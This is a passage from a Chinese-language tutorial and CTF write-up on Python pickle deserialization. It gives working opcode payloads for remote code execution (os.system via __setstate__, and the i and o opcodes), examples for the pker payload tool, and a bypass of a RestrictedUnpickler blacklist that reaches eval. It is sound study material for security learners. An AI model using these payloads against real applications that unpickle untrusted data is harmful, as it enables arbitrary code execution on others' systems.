关注到第七行的setstate(state),这意味着可以RCE,但是inst原先是没有__setstate__这个方法的。可以利用{‘__setstate__’: os.system}来BUILD这个对象,那么现在inst的__setstate__方法就变成了os.system;另外再确保state也即一开始的栈顶元素为calc.exe,则会执行setstate(“calc.exe”) ,也即os.system("calc.exe")。
上面的操作对应的payload如下:
b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'验证代码:
import os import pickle import pickletools class A(): #balabala····· str=b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.' pickle.loads(str)除了操作码b可以利用外,还有i和o操作码可以实现RCE:
b'(S\'whoami\'\nios\nsystem\n.' b'(cos\nsystem\nS\'whoami\'\no.'payload的构造可以参照对应的作用:
工具pkerGithub地址
借助该工具,可以省去人工构造payload,根据自己的相关需求可以自动生成相应的序列化数据。
pker主要用到GLOBAL、INST、OBJ三种特殊的函数以及一些必要的转换方式:
GLOBAL :用来获取module下的一个全局对象,对应操作码c ,如GLOBAL('os', 'system')
INST :建立并入栈一个对象(可以执行一个函数),对应操作码i ,如INST('os','system','ls') ,输入规则按照:module,callable,para
OBJ :建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数),对应操作码o。 如OBJ(GLOBAL('os','system'),'ls') ,输入规则按照:callable,para
xxx(xx,...): 使用参数xx调用函数xxx,对应操作码R
li[0]=321或globals_dic['local_var']='hello' :更新列表或字典的某项的值,对应操作码s
xx.attr=123:对xx对象进行属性设置,对应操作码b
return :出栈,对应操作码0
使用例子:
1、用于执行os.system("whoami"):
s='whoami' system = GLOBAL('os', 'system') system(s) # b'R'调用 return2、全局变量覆盖举例:
secret=GLOBAL('__main__', 'secret') secret.name='1' secret.category='2'以刚刚上面那道只允许引入__main__模块的变量覆盖为例,对应的pker代码:
otherpeople = GLOBAL('__main__','otherpeople') otherpeople.name = 'sunxiaokong' otherpeople.age = 22 new = INST('__main__', 'person','sunxiaokong',20) return new Code-Breaking picklecode import pickle import base64 import builtins import io class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'} def find_class(self, module, name): if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() restricted_loads(base64.b64decode(input()))代码的主要内容就是限制了反序列化的内容,规定了我们只能引用builtins这个模块,而且禁止了里面的一些函数。但是没有禁止getattr这个方法,因此我们可以构造builtins.getattr(builtins,’eval’)的方法来构造eval函数。pickle不能直接获取builtins一级模块,但可以通过builtins.globals()获得builtins;这样就可以执行任意代码了。
用pker构造payload:
#先借助builtins.globals获取builtins模块 getattr=GLOBAL('builtins','getattr') dict=GLOBAL('builtins','dict') dict_get=getattr(dict,'get') glo_dic=GLOBAL('builtins','globals')() builtins=dict_get(glo_dic,'builtins') #再用builtins模块获取eval函数 eval=getattr(builtins,'eval') eval('ls') return